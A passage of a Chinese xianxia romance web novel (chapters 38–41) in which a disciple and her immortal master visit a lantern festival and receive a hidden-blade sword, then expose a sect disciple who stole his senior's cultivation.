不远处的青容还在忧郁——她四年前故意违规离开,是为了不让师徒之义过于纯粹,发展成钢铁般的亲情,背德的前提是有缘由去背,师慈徒孝中总要夹杂点什么东西。
然而回来后才发现,随着年纪增长,男女之防彻底巩固后,此人连接近都接近不了。
年少时管用的死皮赖脸的招式看起来已经永久过时了。
青容长叹口气,望向前方的灯火通明,片刻后重新挺直背脊,也不再执着今天想要取得什么进展,这上元节本就一年一次十分难得,既已来此,还是别管什么慕砚恒了,自己逛个舒心才是最重要。
就在此时,慕砚恒突然挡在了她的面前,神色严肃到活像是来兴师问罪的。
一个面具不由分说盖在了她的脸上。
青容一愣,本能扶住面具,余光却见慕砚恒略低下头,耳畔响起清冷的声音:“皇城有许多人认识你,本君不喜被打扰。”
随之而来的,是指尖骤然触碰到的温度。
“人多,走散了本君还得寻你。”
有人经过,吹拂起一片青丝,垂落在肩头。
顿了许久。
“牵着吧。”他道。
38. 绚烂
一路上走了多久,青容就僵了多久。
倒不是因为别的,纯粹是有些尴尬。
她本来从不会把这些接触当回事,以前对着慕砚恒直扑她也没觉得有什么,可如今并肩而行,她反而束手束脚起来。
或许还是因为目的不同了,以前单纯为了亲近,现在已多了些别的意味,难免有些心虚。
慕砚恒和之前一样一路无话,但手攥的还算紧,青容努力不让手臂晃动幅度过大,尽量让自己的存在感低一点。
直到她驻足,目光定在不远处围观的人群。
“都来看一看啊,弓箭比赛啊!两人组队,十文钱便可参与,成绩最好的可将奖品带回!”
难得遇到个需要两人组队的环节,简直是大好的剧情推动,然而青容想了想,还是移开视线,转头想走。
就在这时,她的手被人牢牢拽住。
“想玩怎么要走?”慕砚恒问。
青容干笑:“呃,其实也没那么想玩。”
主要是那老板认识她,而且戴着面具也会认识她。
因为她之前经常来,也是戴着面具拽着贺景麟一起,原因无他——奖品能卖钱,有时候能抵她半个月的工钱,她自然乐意参与。
贺景麟身为围猎魁首,箭术自然高超,基本上他一个人打出来的成绩比其他组两人相加还要好,她只需要浑水摸鱼当个摆设,就能稳拿第一。
时日久了,自然和老板娴熟。
娴熟了,话就会多,还会故意给她挖坑。
然后百分之九十九要当着她的面问:怎么换了个人?之前陪你的小公子今日怎么没来呢?
她胆子小,不敢想。
慕砚恒见她神色不大自然,似是有所怀疑,他仗着个子高,隐约见到了摆在台上的奖品。
“是个好东西。”慕砚恒先来了兴趣,“可以一试。”
“不不不不了……”青容想走,甚至想甩开手,然而慕砚恒的劲简直前所未有的大,像故意跟她对着干似的。
两人内力暗中较劲,周遭燃起的火焰不约而同向外扩散,像是被狂风所席卷,然而这个风不被人所感知,便有声音发出疑惑。
“这火怎么歪了?”
两人对视两秒,同时泄了力。
慕砚恒神色淡漠,掸了掸袖口:“内功修炼的不错,以及,那个奖品,为师想要,这是为师数年来第一次看到这么合眼缘的东西。”
他哪是合眼缘,他分明就是找事来了。
青容无语至极,偏偏她无法推拒,只得让慕砚恒拽着挤进人堆里。
慕砚恒满身凌冽,人群不由自主让出一条道,以至于他以身开路,居然也没碰着什么人。
“呦。”老板显然注意到这里的动静,目光直勾勾投过来,“青姑娘又来进货了,不过这次怎么……”
“我师父,我师父。”青容火速断掉话音。
那老板却故意升了三个调,抑扬顿挫的:“你同你师父来,那景小公子你不要了?”
“……”
这凡世都是满满的恶意。
慕砚恒沉吟一声:“景小公子?他说贺景麟?”
因身份缘故,大部分皇亲国戚对慕砚恒都是避而不及,连带着对青容也是有礼而疏离,整个皇室同青容走得近的,也就无权无势的六皇子一个人。
然而六皇子近年来愈发耀眼,自一月前的冬猎夺得魁首,已有更多的人注意到他,然而背景是硬伤,母亲早逝,皇帝漠然,朝野上下无人站在他身后,便注定他无论如何优秀,也终将是别人登基的垫脚石。
因而在听闻杂事的百姓眼中,青容便是他想要攀附的后台,只有皇室中人自己清楚,这后台没什么实际用处。
慕砚恒没有实权,先皇遗嘱尚在,他也不可参与皇室之事。
所以贺景麟缠着青容,皇帝也没管,其他皇子更懒得搭理。
“是……是啊,我在这个皇城,也就和他稍稍熟稔些,六皇子此人……当个普通朋友吧,挺好的,挺好的。”
青容知晓后面的剧情,很是难捱,有种当人家面吃里扒外的错觉,慕砚恒似是沉思片刻,得出一个深刻的疑问。
“你与他常来?他箭术很好?”
青容一噎,格外真诚:“那也没有。”
围猎魁首在箭术造诣上自然是佼佼者,一己之力带她进货不是开玩笑的,贺景麟近乎未失过十环,平常人看到他气宇轩昂发挥一番,信心便失了大半。
可慕砚恒不一样。
天枢仙尊,左手持弓,右手执剑,身姿如皎皎皓月,一见可念终生。
这是青容在仙界时常听到的话。
在凡间同样适用。
说话间,慕砚恒已付钱接过弓箭,他甚至没有过多瞄准,没有调整身形,草草拉紧弓弦,只大致一瞥后随手松开。
随之而来的是周遭一片惊呼。
“我去。”老板瞪大眼,对着青容直竖大拇指,“你这找的搭子个顶个牛叉啊,可惜都喜欢戴面具,哎,你透个风,他们是不是什么神秘组织的?专职射箭那种?”
青容干笑:“没有,就是普通人,我随手抓来给我打工的师父,我眼光好吧。”
慕砚恒顿住,瞥了她一眼,没吭声。
只有微微的口型对着青容比出四个字。
大逆不道。
随后又是五中靶心。
自始至终,靶心只存在一根箭。
这对决已然没了悬念,本跃跃欲试的人早已垂头丧气,却还是忍不住停留在此,想欣赏一番蒙面人的风姿。
而蒙面人——慕砚恒自认为这番作为是有用的,起码能告诉青容他一定比贺景麟强,没必要经常跟这小子厮混。
然而他偏过头,却发现青容并不如何激动,只是站在原地看着他,说不上来是什么情绪。
这样的平静,在惊叹声中显得格外刺眼。
慕砚恒一顿,将最后几发箭打完,行至青容身侧,带着几分强硬地将弓递去:“到你了。”
青容却没接,只是道:“不用,反正师父已经打了百环,够了,后面有人超过去再说吧。”
以往都是这样的,贺景麟自己打出个惊人的分数,她并不需要掺和,只需站在这,奖品便会被放在她掌心。
可慕砚恒似乎并不打算这么做。
“是今日不想玩吗?”他语气虽淡,弓却递的更近了些。
青容见糊弄不过,只得坦言。
“我不会射箭。”
没人教过她。
慕砚恒微微怔住,似是没想到是这样的缘故,他持弓抬起的手缓缓放下,眉心微蹙。
片刻后,他转身去和老板说了什么,老板连连点头,紧接着便有其他人来参与比赛,竟比刚刚还热闹了些。
慕砚恒回来后,青容便问:“这是做什么了?”
“给了点东西,当第二的奖励。”
“……”
真是遭人咬牙。
青容还没来得说什么,慕砚恒却拉住了她的手腕,往空旷些的地方走,他另一只手依旧拿着把弓,但这弓和刚刚不一样,似乎并不是老板的。
停步后,这弓递在了她的面前。
青容不解:“做什么?”
“教你射箭。”
一时静了两秒。
慕砚恒冷哼:“看你怏怏的,是觉得自己没参与感?早知如此,当初怎么不让为师教?下山下的倒干脆,呵……不过现在也不晚,拿着。”
触及弓身时,温润
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的质感伴随轻微寒气裹挟指尖,青容明白,这绝不是普通人能拥有的东西。
“这是为师的冰玄弓,做了点障眼法,不然太招摇。”
慕砚恒没多解释,只是纠正她的姿势:“头抬一点,重心下压,看见前面的砖角没?用这个,连成一条线,对准。”
话本中那种贴身传教的情节并没有出现。
因为青容的第一箭,便中了目标。
慕砚恒眸中的惊艳一闪而过,随后重新冷了下来,一副严师模样:“尚可,继续。”
青容并不了解射箭,也不明白到哪种程度才算优越,反正肯定越准越好,她微吸一口气,屏住呼吸,又是一箭。
到底不熟练,这次偏了些许。
在武艺上,青容是很少吃瘪的,一旦吃瘪,便容易犟,她近乎是有些急切地重新搭箭,却有一只手覆在了她拉弦的手背上。
“不要急。”慕砚恒垂眸道,“为师已拿了百分,暂时无需你临时发挥的多好,不过……刚刚有两人打了个不错的分数,加起来比一百高,所以,你也确实要背点压力。”
“……”
挺坏的,一边让她放松,一边给她施压。
但她并不反感,甚至眼神比刚刚更亮了些,拉弦的指尖微颤,并不是因为畏惧。
而是激动。
这是她同贺景麟参赛时从未有的心境。
一盏茶后。
“好箭!”
周围人忍不住赞叹,老板也是格外惊讶:“你进步这么快?上次还是随缘打法,这次竟能中九环,厉害,厉害,还有最后一箭,试着中靶心!”
利箭破空,可惜钉在靶心偏左侧,恰好有烟花绽开,光影绚烂,璀璨耀眼。
她听到慕砚恒淹没其中的声音。
“可惜了。”他似乎在轻笑,“不过无妨,下回再带你来,打个双百。”
老板将奖品递给她,是一个不大起眼的锦囊,鬼知道慕砚恒说合眼缘是合在哪,但做工精细,倒也不差。
她故作嫌弃将锦囊塞给慕砚恒,慕砚恒哼了哼:“开心了吗?”
青容没说话,就当没听到,她左手还持着冰玄弓,也没还回去的意思。
“还来,不要把为师的武器当成什么可以随便用的东西。”
“都拿来参与山下的游戏了,我再玩玩,也不随便吧。”青容得寸进尺,“能不能把障眼法取消?这看着好丑。”
她瞧着的确心情极好,连带着步伐颇有些蹦蹦跳跳的,冰玄弓在她手里耍刀似的转来转去,慕砚恒心疼得快咬牙,赶紧把弓抢回来。
换来一声愤懑的哼哼。
慕砚恒:“……”
他明显不太会应对这种女孩耍小性子的场面,临霜护教难得迷惘,片刻后他似是想到了什么途径,在自己的袖口间一顿翻找。
青容哼完其实也微微后悔,刚刚有点得意忘形的意思,她十分清楚他俩目前的关系还不足以支撑这样的“无理取闹”,正想着怎么圆回去,一只手却突然伸到她眼前。
掌心捧着被油浸透的纸,带着些许甜香。
“给你买的,问了江溪闻,他说你喜欢吃这些,尝尝?”
“……”
老实说,毕竟活了这么些年,她早过了能被一包糖感动的年纪,任何人都清楚这不是什么成本很高的事,因此她也只是正常道谢。
“师父对我真好,多谢师……”
她的尾音卡在慕砚恒拿出一柄剑的刹那。
剑柄与剑鞘墨如玄铁,通体偏薄,配色似乎格外单调,可若细看,便能瞧出剑柄的流云雕刻图案中镶嵌了细碎的夜空蓝的宝石,如闪烁的点点星辰。
青容愣住了。
这是……
鎏虹剑。
39. 利刃
见青容发愣,并没有流露出欣喜的情绪,慕砚恒神色微顿,解释道:“许多女孩喜欢银白色的剑,觉得清秀好看,可惜这黑曜玄晶的材质实在做不成白色,所以加了些泛光的晶石以做装饰。”
青容还是没有应答,似乎这剑给她的冲击格外大,慕砚恒心中不解“有这么丑吗”,他刚想询问,一柄更薄更细的剑突然掉在地上。
这是一把软剑,剑柄细长,极轻,嵌着薄如纸的刃,泛幽幽青光。
这回轮到慕砚恒微怔:“竟直接寻到了机关?”
这是他自己构想许久的巧思,还想着惊艳他人一番,没想到仅几秒便被青容寻了出来,倒有些挫败。
青容弯腰将软剑拾起,左手手腕挥动两下,软剑发出宛如晶石碰撞的嗡鸣声,很悦耳。
也和她记忆中的一模一样。
无论是款式,还是手感。
历劫能搞这么拟真?连鎏虹剑都能一比一复刻出来,慕砚恒不可能有鎏虹剑的图纸。
“师父怎的……”她噎了噎,还是换了个问法,“怎的想到做了柄软剑?”
“之前观你左手招数,总觉得比右手挥舞幅度小些,带了些甩的招式,便觉得你可能也适合软剑,软剑镶于长剑内部,触动后可分离。”
为了隐藏剑术,她在外比武会用左手,可她毕竟惯于软剑左持,因此招式习惯还是不由自主有些偏差,竟被慕砚恒瞧了出来。
可这一模一样的剑实在是……
“黑色的剑,不大喜欢?”
大部分弟子收到师父亲自精心打造的武器,都该是欢呼雀跃的,尤其是这样各方面顶尖的剑,青容却一反常态,由慕砚恒来看实在奇怪。
他只能想到是这剑造的不好看了。
“不是。”青容欲言又止,“就是……怎么没有剑鞘呢?看着有点奇怪。”
“暂时没找到合适的材料,玄晶做剑鞘有些重了,你不是喜欢轻一些的剑吗,回头我再看看有什么合适的。”
可真正的鎏虹剑是没有剑鞘的,仙者召剑就是挥挥手的事,不需要剑鞘以便随身携带。
她突然有些好奇若有剑鞘会是什么样了。
青容暂时用木剑剑鞘凑合扣在背后,不得不说确实多了几分仗剑走天涯的侠气,这倒是没体验过的感觉。
“我很喜欢,谢谢师父。”
她应付人和真心感谢都是同一句话同一种语气,慕砚恒已经听习惯了,他没什么表情,只是视线时不时往剑上瞥一眼,似是打量。
青容没感觉到,她此时正和鎏虹激烈讨论。
“你能说明一下这是什么情况吗?我亲爱的剑灵。”
鎏虹显然也懵懵的:“我真不知道,这不是我,就是碰巧很像。”
“这碰巧的太离谱了吧,我一直以为我的武器挺有独特构思呢。”
青容深思片刻,忽的想到一个问题:“不过我确实忘了,我是怎么拥有鎏虹剑的,自有记忆初始,这剑已伴我身侧,你这个剑灵能不能帮我回忆一下我俩的初见?”
她想的太过入迷,以至于还没等到答复,她便结结实实撞在身前人的背上。
“走晕了?”慕砚恒毫不客气的轻嘲。
青容也不甘示弱念着话本里的万金油话语。
“师父太好看,看入神了。”
她登时看到慕砚恒的眼角抽了抽,大概是在极力忍耐什么,牙缝里蹦字似的道:“放肆。”
青容听的还挺爽,声音清亮:“吾乃此届仙门大比夺魁热门,不放肆,岂不是枉了这年少轻狂?”
“我要让他们听到我的名字,第一念起的不是临霜护教的徒弟,而是我自己。”
她在那咋呼好一顿,仿佛下一刻就会脱缰狂奔出去似的,然而她脚步一转,忽的凑到慕砚恒身前,抬眸轻笑。
“这么说,是不是很嚣张?”
慕砚恒本能后仰躲避,神色微顿。
少女直勾勾看着他,眉眼弯弯,明媚动人,偏又携了分张狂与锋锐。
像是暖阳照射下泛光的利刃。
慕砚恒同她对视,似是好奇般打量着她,颇有几分探究的意思。
青容很快意识到自己有点忘形,她一直想要给慕砚恒立一个“可爱乖巧徒弟”的人设,刚刚似乎有点崩掉,她轻轻咳嗽,往后退了退:“好像确实很嚣张,这是错误示范,其实我非常稳重。”
一声极淡的轻笑融入在烟火声中。
“判定为嚣张的前提是,这是做不到的大话。”慕砚恒静静看着她,“所以是不是嚣张,得看你自己,现在说这个还为时尚早,当务之急是……”
他忽的顿住,青容眨眼:“是什么?”
“是为师饿了,想去吃饭。”
“……”
…
天色已晚,次日还有事要做,慕砚恒没带着她逛太晚,两人出馆后便一同回了村落。
屋中灯火依旧,江溪闻还没睡,隐约有翻书的声响。
青容轻轻推开门,江溪闻有所察觉,他立刻起身,倒了盏热茶。青容一开始还以为像往常一样是给她的,刚准备伸手接,却注意到江溪闻毕恭毕敬的姿态,她一愣,立刻侧身避开,尴尬地咳了咳。
山下四年,她和这帮人早已厮混娴熟,险些忘了对他们而言,慕砚恒依旧是个高高在上需得仰望的存在。
其实对她自己,应该也是这样的。
慕砚恒面无表情接过茶盏,意思性喝了两口,江溪闻也开始汇报,草草将村中的事叙述了一番。
大致的事青容已经和慕砚恒说过了,只有提及贺长宇时,他微微蹙眉。
“太子中癔症的事,有多少人知道?”
“消息没有封锁,基本无人不知。”江溪闻神色严肃,“按理说这种事,不应当透露出来才是,可如今却广为流传,甚至大张旗鼓寻民间医者,这不太……正常。”
皇帝再看重这个儿子,也不该如此行事,一是如此对待百姓有损皇家颜面,二是等于告诉所有人太子如今已经半废不废,会让朝中跟着暗流涌动。
太愚蠢了。
这简直不像一个皇帝该做的事。
“你觉得是谁做的?”慕砚恒突然看向青容。
青容正走神,恍然被点名,她一个激灵:“啊?我……徒儿并不了解皇族中事,呃,这个不是我们该揣测的。”
慕砚恒是皇室的人,她又不是,她才不背后议论
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这种事。
如今这种局面,皇威受损,太子临近废黜,谁是最大的受益者简直一目了然。
那就是慕砚恒他自己。
异姓亲王,古往今来都是谋反一大中坚势力,“癔症”这种东西似乎也只有慕砚恒能做到。
但她也清楚这和慕砚恒没关系。
毕竟历劫内容没写这档子事,他到最后也只是个皇叔。
“确实……不该妄加揣测。”慕砚恒意味深长看了她许久,忽的话锋一转,“季焱呢?关在哪了?”
“哦,就在隔壁屋,还晕着,他受到的反噬挺严重的,估计剩不了多久寿命了。”
江溪闻面色淡然的给季焱定了死期,这似乎是理所应当的自然规律,慕砚恒也没说什么,他准备去看看情况,走了两步,却发现青容没跟上来。
四下悄无声息,月色隔着薄云洒下,印在青容身侧。夜深得浓稠,风在街巷间带出一片烛火无法驱散的荒芜冷意。
慕砚恒隐约察觉到一丝异样,偏偏他不是个能说会道的人,他只轻拉住她的胳膊,沉声问:“怎么了?”
青容回过神,只是摇头:“没,有些困了。”
江溪闻这回抢了先:“那便歇息吧,知你不喜与人同住,来的时候特意让村民空了个屋子出来给你。”
“好,谢谢师兄。”
她心中有事,罕见的无视了慕砚恒,离开时也没有行礼,慕砚恒倒也无甚在意,只是望着她的背影,略微蹙眉。
青容顺着指引,寻到了留给自己的屋子,她立刻骨头散架似的摊在床上,面色有些迷惘。
“怎么了容容?”鎏虹忍不住出声。
青容深吸两口气,鼻尖萦绕炭火的气息,可能是风冷的缘故,她声音有些哑:“在想一件事。”
“什么?”
“死。”
鎏虹顿住了。
生老病死,对凡世来说,是再正常不过的规律,人总会经历离别,用回忆来感受故去的人或物,越是念旧,惩罚越重。
然而对于九重天的大部分仙人来说,这个字是陌生的。
仙界更多将死亡称之为羽化,但这都是数万年一轮的事,青容对仙者而言年纪尚小,她飞升时仙界是什么样,现在依旧是什么样。
她从未感受过什么叫“死”,甚至于直到今日之前,她都没想到过这个字。
但当江溪闻说出“不剩多久寿命”时,她竟感受到了一股扑面而来的凄凉之意,这是陌生的,却如同无形的山,竟让她隐约喘不过气。
可若细想,偏又寻不出任何触动。
像是有人强行将这个情绪塞给她似的。
“以后就见不到他了,所以,这就是死亡?”她喃喃着,如同尝试探究世界的新生儿,“就像卖鸡蛋的赵婶家参军的儿子,战死沙场吗?”
她没见过撕心裂肺的哭嚎,也不曾明白他人心中终日的阴雨连绵,就像四年前那日山下违反门规的出手相救,她考虑的,一直只是她的路而已。
鎏虹没吭声,青容也没追问,只当是自言自语。
仙书上说,剑灵没有情感,她知道。
她是个薄情的人。
她也知道。
40. 出发点
翌日清晨,青容本想着按季焱所托,将符纸分发给那些重病之人,顺便安抚一下秃顶的炮灰,却被人直接拦了下来。
慕砚恒抱臂靠着门框,冷冷盯着她手中的符纸:“他可以这么做,但你不能帮他。”
天刚蒙蒙亮,青容昨天睡得晚,此时昏昏沉沉的,连带着顶嘴都没什么气势:“我都应了,总不能食言啊。”
“他自己弄的烂摊子,你帮他处理后事?”
“那不然师父先把他放出来,让他自己发?我盯着他,绝对不出岔子,好不好嘛师父。”
她早就猜到慕砚恒不会让她这么干,昨晚便想好了措辞,慕砚恒噎了噎,拒绝的话卡在喉间,只得退让三分:“你可以跟着,但不得暴露身份,玉坠还在你身上,随时带着,但不要轻易拿出来。”
临霜教的亲传弟子绝不能与修邪功之人走到一起。
说到玉坠,青容倒是突然意识到还有这么回事,她轻轻一笑,将玉坠置于掌心,把玩似的转了几圈。
这是全仙门最具震慑力的信物,她意识到这点的时候,还是三年多前,离下山也没多久。
那日她独自出行,遇到几个走了歪路的散修,见她孤身一人,又是个小孩,便讨要过路费。
她自然不乐意给,转身便走,有个散修不甘心,急匆匆想抓住她,却连衣角都没碰到。
只是避开时,玉坠因系挂不稳掉在了地上,数人的目光同时定在一处。
片刻沉寂。
青容眼睁睁看着离的最近的散修目光从愕然到惊恐,她若有所思,将玉坠捡起来:“你认得?”
那散修如临大敌,连忙后退两步,好像下一刻就会被吞吃入腹,嘴中连连说着道歉,一副恨不得跪下求饶的架势。
青容一头雾水,将玉坠翻来覆去的看,可惜那帮人已经颤颤巍巍跑了,她也问不出什么。
当晚,她寻到江溪闻,将玉坠放在桌上:“师兄,你认不认识这是什么?”
她看到江溪闻面色变了变,但反应还不至于那么夸张,他深吸一口气:“护教给你的吗?”
“是啊。”
“这是护教玉坠,相当于身份令牌,见玉如见人,掌教他们也有,但护教这个……呃,更引人注目些。”
这下青容明白了。
就是摆在她身上,震慑别人,省的她在山下挨欺负的。
出发点很好,乍一听非常贴心。
可是谁能欺负的了她?
反正四年间愣是没有一次真正用上的,那些见到玉坠后落荒而逃的人,本身也不会是她的对手。
“师父给我不就是为了护着我用的吗?”青容故作委屈,“现在却不让拿出来了,我若真遇到危险,那是拿还是不拿?”
慕砚恒不吃这套,轻哼一声:“你能遇到什么危险?以你如今的修为,仙门没几个能打过你,再不济,喊声救命。”
“我喊一声师父就会来?”
“看心情,反正在睡觉肯定听不见。”
“……”
青容做了个鬼脸。
慕砚恒别过头,当没看见,唇角紧绷着,却没有冷意。
…
季焱那晚被反噬,精力耗了大半,休息一晚也没恢复几分,在青容告诉他不会帮他分发符纸后,季焱脸色非常难看。
“我都要死了,怎么还压榨我?”
青容无奈:“师父死活不让我去。”
这下季焱清醒了几分。
“……也是,你毕竟是仙门的人,那日糊涂了,光想着逃避,竟嘱托你去做,是我考虑不周。”
他神色落寞接过符纸,换上他那谁都认不出的破布装扮:“我先去发符,再找阿茹。”
“那不行。”青容正色,“符纸去病,睁一只眼闭一只眼也就罢了,但起死回生……这绝对不可以。”
“她小孩没死,不是没动静就死透了,半死而已,还有气。”
“……”
因为不放心,青容一路跟的很紧,季焱打扮怪异,不少人为之驻足,他却像看不见似的,只自顾自分发符纸,并做简单的交代。
这些人早就求医无望,甚至已联系好后事,结果陡然从天而降这么个人说还能救,也顾不上是不是江湖骗子了,连忙按照嘱咐去做。
一个时辰后,“京城有个起死回生的怪异神医”的流言逐渐传出。
有不少人闻讯赶来,季焱甚至不需要再挨家挨户的找,他面前早已排起长队,且还在源源不断的增加。
季焱逐渐皱眉。
人太多了,这符纸不够用,然而他已没有能力再去画一批新的符纸。
创造这种和生老病死相悖的东西,损耗的就是画符者本人,可人的生命不是取之不尽的江水。
青容也远远看出符纸不够的事实,隐约觉得不妙,果然片刻后,人群中有了骚动。
“怎么轮到我就治不了了?那凭什么他们都能治?”
来的人远比预料中要多的多,明显出乎了季焱的预料,符纸仅剩最后十张,望着逐渐失去秩序的人群,他有些无措。
他敢保证他提前调查了受到影响的人数,符纸按理说是够的,出现这个情况,只能说明还有别处来的人。
可这么短的时间,京城怎么会突然来那么多外人?
除非消息提前泄露,有人故意作乱。
他朝青容的方向瞥了一眼,又摇摇头收回目光——青容是除他以外唯一提前知道这件事的人,可他知道青容不可能做出这种事。
那还有谁?提前预判了这一切?目的只是为了让秩序紊乱,皇威受损。
看到希望后再湮灭,最是令人疯癫,眼看现场愈发混乱,几乎有了哄抢的前兆,桌子被掀倒,季焱拿着符纸连连后退,有人上前一步,想要撕开他的手指。
就在这一瞬间,一道刀光挡在了季焱身前。
“放肆!”
这刀光里藏着修为,最前的人被震得险些摔倒在地,剑已捏在手中的青容顷刻停住脚步,她重新垂下手,打量这突然出现的变数。
看着像是仙门的人,不过仙门弟子下山时都会换个服饰,她一时没瞧出这是哪门哪派。
“双刀,背后还有一把,下山能拿本源武器,扶摇宗的亲传弟子。”身后轻飘飘传来一道声音。
青容不用回头便知
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是谁:“那这样,他们相认后岂不是很尴尬?”
“不会相认的。”
青容一细想,也是。
一个觉得狼狈,一个避之不及。
“而且他认出季焱了吧,不然怎么会对寻常百姓喊放肆,仙门不是不允许这样做吗?”
话音刚落,那弟子已收刀准备转身离去,他甚至没有多看季焱一眼,好像从始至终就没有认出过此人。
人群安静得如同被凭空抽去声音,他们目光凝滞,眼中满是惊惶与畏惧,犹如被惊弓之鸟般瑟缩。
有人想要开口,却被那冰冷刺目的刀光吓得全身颤抖,仿佛被一股无法抗拒的力量攥住咽喉,只能发出微弱的抽噎声,轻微的颤抖在刀光的映照下显得渺小而无助。
青容微微蹙眉,有些于心不忍,她刚想问慕砚恒能不能动用王爷身份把民间名医放回来,却见慕砚恒不知何时已站至她身前。
“站住。”
青容已许久没听到他这样冷的声音。
那弟子闻声望来,看清来人后身姿肉眼可见的僵了僵,按理说一个仙门弟子不该如此畏惧他门护教,然而慕砚恒的威慑力实在太重,放在仙门哪处都是得毕恭毕敬对待的存在,此时杵在这,神色端肃,冷冽如渊,更是瘆得慌。
“参……参见慕护教。”
“你师兄就在这,怎么相助后不愿相认呢?季邈。”
青容愣了愣,不可置信慕砚恒居然就这么直白的说了出来。
季焱将帽子扣的更深,始终没有抬头,好像这里的一切都跟他没有任何关系,季邈只得干笑:“那……那竟是师兄吗?我确实没认出来,只是看这里很混乱,顺手相助一番。”
“既然遇上了,不一起喝杯茶么?”
“不了不了……”季邈连连摆手,“门派还有事,我得先回……”
“没让你走。”
气氛一时冷到了极点。
季邈脚步定住,深吸一口气,语气也沉了些:“慕护教,吾乃扶摇宗亲传弟子,理应恭敬前辈,可对他门护教并没有必须无条件听命的理由,慕护教此番,有些逾越。”
慕砚恒却是轻笑,他缓缓走上前,将季邈上下打量一番:“逾越?本君倒是好奇,你这刀上,怎么会有一丝剑意?”
青容眼睁睁看着本缩在角落的季焱陡然站起身,与此同时,季邈的脸色霎时间变得煞白,他嘴唇微颤:“胡说八道,我修双刀,整个扶摇宗也是修双刀,怎会出现剑意?”
“可你师兄入仙门极早,因先前身体羸弱不宜练刀,原本修了一年剑道吧?”
这件事鲜少有人知道,因为已经过去了许多年,也不是什么重要的事,那时候连慕砚恒自己也就是个小孩,得知此事还是因为当时有临霜弟子帮忙过去教了一段时间,写在了书册中。
整个扶摇宗,只有季焱学过剑。
这样存于本元之中微乎其微的剑意可能会出现在如今奄奄一息的季焱身上,但绝不该显现于季邈的刀中。
配着鎏虹的解说,青容迷迷糊糊听懂了大概。
“所以慕砚恒的意思是……”
季焱的本元,被窃取了?
41. 装病
“你是不是很担心?所以总会下山跟着他?看着他修禁术,糜烂,堕落,你很想阻止吧?但你怎么没敢出现呢?”
季邈的脸色难看到了极点,偏偏慕砚恒的笑意中带着嘲弄,仿佛透过衣物与皮肉,毫不留情刮削他的骨头,他心态愈发溃裂,强装镇静矢口否认:“我不明白你在说什么。”
“说你在愧疚。”
“我没有!”
“在本君这嘴硬没有任何好处。”慕砚恒抱起手臂,居高临下睨着他,“带回去测个本元内力就能解决,本君会以仙门之首护教身份直接下令,你打算如何规避?”
权势压人啊……青容心道。
很无耻,偏偏避无可避。
季邈慌乱四望,一瞬间几乎生了逃跑的念头,可就在此时,他的肩膀被人轻轻扣住,力道不大,却带着渗人的寒意,凌迟着他的骨与肉。
他知道那是谁,他不敢回头。
“师弟,许久不见,听闻……你刀上有剑意?这么厉害,怎么修出来的?”
话音轻飘飘的,宛如闲谈般的平静,却比预料了千百次的怒吼更加震人心魄。
季邈终于彻底崩溃,他双腿失力半跪在地:“我……我当时就是好奇,试了一下,谁知道还不回去了,我不敢和你说,我……对不起,真的对不起!”
可愧疚和低头向来是最没用的道歉方式。
他近乎匍匐在季焱脚下,丧家之犬般,完全没有半分扶摇宗亲传弟子的样子,季焱置若未闻,本争吵的人群忍不住看来,连青容也是些许错愕——这反应忒大了些。
“你没有体验过被亲近之人背叛的感觉,尤其是足以毁灭一生的背叛。”慕砚恒故意跟她解释,哪怕场面难看,他也只是当做教学现场,“做这件事的人,会遭到来源于自己良心的千百倍的反噬,日积月累后在某一瞬间摧枯拉朽的爆发,以至于崩溃,除非他没心。”
可没心的人,是不会偷偷下山跟随,只为了能在危险时相护的。
青容微怔,突如其来问了一句:“他是十六年前的扶摇宗天才,对吗?”
那日仙门大比她中暗算晕厥,醒来后陆怀夕给她介绍过季焱,听闻是扶摇宗百年难遇的奇才,和龚柏清他们差不多夸张,她那时心中气愤占了八分,只觉得此人阴险,并没有过多去了解其他事。
只是四年已过,马上又是新一届大比,她早已能心境平淡回忆此事,再去看,似乎更多了分惋惜。
尤其是少年英才陨落的真相似乎明晃晃呈现在她眼前。
“是。”慕砚恒道,“十五岁进八强,横空出世的天才,在那届也算是震惊仙门。”
虽说下一届更夸张就是了。
后面的结果也是仙门尽知,他没有成长成别人期待的样子,他的修炼似乎卡了个无形的瓶颈,初期爆发式进步之后,便是再难突破的平庸。
直到四年前,行差踏错。
可原来不该是这样的。
她难以想象,若是按照正常轨迹,季焱会达到何种高度,属于他的天才故事比如今这一批人提早了数年,本应可能成为那个时代年轻弟子的引领者,甚至打破临霜教百年的垄断。
可惜……
术法反噬,逆天改命,他已活不过这个寒冬。
季焱忽的轻笑,兜帽下的脸藏在黑暗之中,只能听到切齿的低沉:“师弟,实话实说,我真想杀了你。”
“但你不能死,扶摇宗宗主门下不能再出一个道德败坏丧尽天良的弟子。”
他摇摇头,毫不留情踢开季邈,将兜帽摘下,漏出那张黑纹交错的脸,面朝慕砚恒跪了下去。
“罪人季焱,已命不久矣,着实无脸面多言,只求护教看在宗主年迈的份上,不要在仙门揭穿此事,给宗主留个体面。”
慕砚恒神色未变,没有应答。
季焱以头抢地,指尖在砂石地上抓出一道痕迹:“求护教开恩。”
青容欲言又止,但她明白她没有资格决断,只得默默退后,视线偷偷望着慕砚恒的背影。
这是她第一次实实在在感受到何为地位,何为权,以及慕砚恒之于仙门的威压,之前的惩治在这一刻都成了小打小闹。
亲传弟子修禁术残害同门,只要慕砚恒一句话,扶摇宗足以毁于一旦,百年间都没有再复兴的可能。
慕砚恒垂眸,半晌后终于缓缓开口:“本君不会将此事公之于众,但依旧会告之于宗主,让其自行处理,本君不那么做,不是看在宗主年迈,是看在你。”
地上的身影颤了颤。
“走了,回门派。”慕砚恒转身,没再多给眼神。
青容咽了口唾沫:“那这些人……”
“已经说过了,大夫们稍后便会回来,不必担忧。”
青容跟随慕砚恒的脚步渐行渐远,只是至拐角时,她还是忍不住回头。
季焱不知何时已起身,他掸了掸身上的灰,面色死寂,仅剩的几张符纸被他随手撒在地上,手滞在半空,定了很久。
片刻后,他忽的轻笑一声,弯腰捡起地上残落的树枝,竟开始就地比划,他的关节如同生了锈,动作磕磕绊绊,带着些许颤抖,像是随时会破碎的古朽零件。
青容勉强看出,那是刀法。
可惜这根树枝终究脆弱,手腕翻转间,已然断成两截,一切随之戛然而止。
只余下一片空落落的萧瑟。
…
慕砚恒此番下山本就是要将青容带回,顺便捎个话,自然不会在这个村落耽搁太久。处理完事务后,他便准备启程回山。
顺道把季邈扔去扶摇宗。
只是临行前,突然出了一点岔子。
“护教,师妹好像生病了。”
江溪闻找了过来,面露忧色。
